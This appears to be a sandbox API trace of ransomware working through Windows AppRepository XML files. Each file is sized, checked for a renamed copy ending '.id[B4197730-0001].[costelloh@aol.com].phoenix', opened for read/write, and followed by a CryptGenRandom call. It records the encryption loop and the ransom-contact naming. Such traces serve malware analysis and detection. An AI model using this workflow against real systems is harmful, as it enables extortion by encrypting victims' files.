	[0250.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.906] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.906] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1113) returned 1
	[0250.906] CloseHandle (hObject=0x2c8) returned 1
	[0250.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.906] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.907] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4202) returned 1
	[0250.907] CloseHandle (hObject=0x2c8) returned 1
	[0250.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.912] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.912] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.912] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.912] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2278) returned 1
	[0250.912] CloseHandle (hObject=0x2c8) returned 1
	[0250.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.912] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.913] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.913] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.913] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2050) returned 1
	[0250.913] CloseHandle (hObject=0x2c8) returned 1
	[0250.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.913] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.913] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.913] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.914] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=14906) returned 1
	[0250.914] CloseHandle (hObject=0x2c8) returned 1
	[0250.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.914] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.914] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.914] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.914] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=13328) returned 1
	[0250.914] CloseHandle (hObject=0x2c8) returned 1
	[0250.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.914] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.915] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.915] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.915] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=88880) returned 1
	[0250.915] CloseHandle (hObject=0x2c8) returned 1
	[0250.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.915] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.915] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.915] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.915] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2324) returned 1
	[0250.916] CloseHandle (hObject=0x2c8) returned 1
	[0250.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.916] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.916] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3840) returned 1
	[0250.916] CloseHandle (hObject=0x2c8) returned 1
	[0250.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.916] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.917] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1997) returned 1
	[0250.917] CloseHandle (hObject=0x2c8) returned 1
	[0250.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.917] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.917] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1999) returned 1
	[0250.917] CloseHandle (hObject=0x2c8) returned 1
	[0250.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.918] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.918] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.918] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.918] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2251) returned 1
	[0250.918] CloseHandle (hObject=0x2c8) returned 1
	[0250.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
